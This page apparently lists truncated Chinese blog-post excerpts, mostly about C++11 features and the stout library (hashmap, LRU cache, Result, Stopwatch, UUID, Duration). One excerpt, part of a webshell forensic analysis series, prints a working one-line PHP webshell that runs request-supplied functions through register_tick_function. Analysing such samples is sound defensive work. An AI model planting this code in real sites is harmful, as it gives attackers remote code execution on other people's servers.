hashmap是std::unordered_map的子类,前者对后者的接口做了进一步封装. hashmap的移动构造函数: hashmap(std::map<Key, Value>&& map) { // NOTE: We're using 'insert' here with a move iterator in order // to avoid copies because we know we have an r-value paramater. std::unord…
WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['GET']);?> 二.代码分析 1.调整代码格式 2.分析代码 2.1.首先使用REQUEST方法接收url中e参数传递的值, 然后执行declare函数和register_tick_function回调函数.没执行ticks=1行代码,就执行一次register_tic…
最近在使用mesos做高可用设计,在编译的过程中注意到mesos依赖stout,一个仅仅含有头文件的c++基础库.stout代码简洁,设计优雅,值得一读. stout从内容上可细分为以下几块: Primitives: Duration, Error, None, Nothing, Option, Owned, Result, Try, StopWatch,UUID. Collections: cache, hashmap, hashset, multihashmap,对常用数据结构进行了一些封装…
stout中大量使用了c++11的特性,而c++11中move和forward大概是最神奇的特性了. 左值和右值的区别 ; // a是左值,0是右值 int b = rand(); // b是左值,rand()是右值 直观理解:左值在等号左边,右值在等号右边 深入理解:左值有名称,可根据左值获取其内存地址,而右值没有名称,不能根据右值获取地址. 2. 引用叠加规则 左值引用A&和右值引用A&& 可相互叠加 A& + A& = A& A& + A&am…
stout大量使用了c++11的一些新特性,使用这些特性有利于简化我们的代码,增加代码可读性.以下将对一些容器的新特性做一个总结.主要两方面: 容器的初始化,c++11中再也不用手动insert或者push_back来初始化了 容器的遍历,c++11中再也不用使用冗长的迭代器遍历了 容器的emplace,避免了一次赋值构造操作和一次析构操作 增加了unordered_map容器 增加了哈希函数std::hash 让我们一睹为快吧: std::hash #include <functional>…
stout中实现了LRU cache.cache的成员如下: public: typedef std::list<Key> list; typedef std::tr1::unordered_map< Key, std::pair<Value, typename list::iterator> > map; 可以看到map的第二项除了value之外,又有一个指向key的迭代器,这种设计有利于提高cache LRU操作的效率:当查询某个key时,同时获取value和key…
Result类似于Option和Try类的组合,内部有三种状态 enum State { SOME, NONE, ERROR }; SOME表示Result对象有值 NONE表示Result对象值为空 ERROR表示异常 api如下: none, 返回状态为NONE的Result实例 some,返回状态为SOME的Result实例 error, 返回状态为ERROR的Result实例 还有isNone, isSome, isError等,在此不细讲. 如Result对象为SOME状态,可通过ge…
在进行性能测试时,经常需要计算某个函数执行的时长.stout中的Stopwatch类可实现纳秒精度的计时. Stopwatch内部使用timespec记录开始和技术时间.   timeval和timespec稍有不同,有两点: timeval精确到微秒,而timespec精确到纳秒 获取当前时间,timeval对应函数gettimeofday(&tv,NULL), timespec对应函数clock_gettime(CLOCK_REALTIME, &ts); api如下: start, 开…
UUID全称通用唯一识别码,被广泛应用于分布式系统中,让所有的元素具有唯一的标识. stout中UUID类继承自boost::uuids::uuid.api如下: random, 产生一个UUID对象. fromBytes,从字节数组生成UUID对象 fromString, 从字符串生成UUID对象 toBytes, 从UUID对象生成字节数组 toString, 从UUID对象生成字符 废话不多说,上示例代码: #include "stout/uuid.hpp" #include &…
Duration类用于表示时间长度,可精确到纳秒. 代码实现在duration.hpp中,测试代码:duration_tests.cpp 相关api如下: parse, 将字符串转化成Duration对象 create, 将秒数转化为Duration对象 ns, us, ms, secs, mins, hrs, days, weeks, 返回量词对应的数目 timeval,  返回Duration对象对应的timeval max, Duration所能表示的最长时间 min, Duration所…